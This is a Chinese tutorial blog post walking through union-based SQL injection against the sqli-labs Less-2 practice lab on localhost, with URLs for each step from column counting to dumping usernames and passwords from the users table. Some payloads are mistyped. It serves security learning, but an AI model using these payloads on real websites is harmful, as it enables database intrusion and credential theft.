SQL注入流程图

http://127.0.0.1/sqli-labs-master/Less-2/index.php? id=1

1 输入单引号   ‘            进行检验是否存在输入

http://127.0.0.1/sqli-labs-master/Less-2/index.php? id=1 ‘

 

2 输入 and 1=2    检验是字符型还是数字型

     http://127.0.0.1/sqli-labs-master/Less-2/index.php?  id=1%  and 1=2

报错,证明是数字型。

3 输入order by        查看这个网站所错在的表有几列

http://127.0.0.1/sqli-labs-master/Less-2/index.php? id=1 order by 3

使用二分法,如果输入错误则报错,如果存在就维持原状。

4   输入union select       进行 union select联合查询

http://127.0.0.1/sqli-labs-master/Less-2/index.php? id=-1 union select 1,2,3 %23

发现有2个输出位(为了union联合查询可以正常运行所以要使前方信息报错,后边用%23进行注释)

5  输入 version()     发现输出位查询数据库版本号

http://127.0.0.1/sqli-labs-master/Less-2/index.php? id=-1 union select 1,2,version() %23

  发现版本号为5.5.23(版本号5.0以上会专门生成一个叫information_schema的库,这个库里有数据库中所有表的名字)

6   输入group_concat(table_namefrom information_schema.tables where table_schema = database() %23    查询数据库所拥有的表名

http://127.0.0.1/sqli-labs-master/Less-2/index.php?id=-1 union select1,2,group_concat

(table_namefrom information_schema.tables where table_schema = database() %23

7   输入group_concat(column_name)%20from information_schema.columns where table_schema = database() and table_name ="users" %23     查询出users表里的列名

http://127.0.0.1/sqli-labs-master/Less-2/index.php? id=-1 union select 1,2,group_concat(column_name)%20from information_schema.columns where table_schema = database() and table_name ="users"%23

8     输入group_concat(username) from security.users  查出users表中username列中 用户名

   http://127.0.0.1/sqli-labs-master/Less-2/index.php? id=-1 union select 1,2, group_concat(username) from security.users %23

9   输入group_concat(password) from security.users %23  查出user表中的password列中密码   

http://127.0.0.1/sqli-labs-master/Less-2/index.php? id=-1 union select 1,2, group_concat(password) from security.users %23

group_concat() 显示查询到所有的列

information_schema一个库

schemata:保存所有数据库的名字

tables:保存说有表的名字

columns:保存所有字段的名字

感觉不错的,点个关注,

评论区里留下你们想知道的。下一期给出你们答案。

 
原文地址:https://www.cnblogs.com/biaochen/p/11307264.html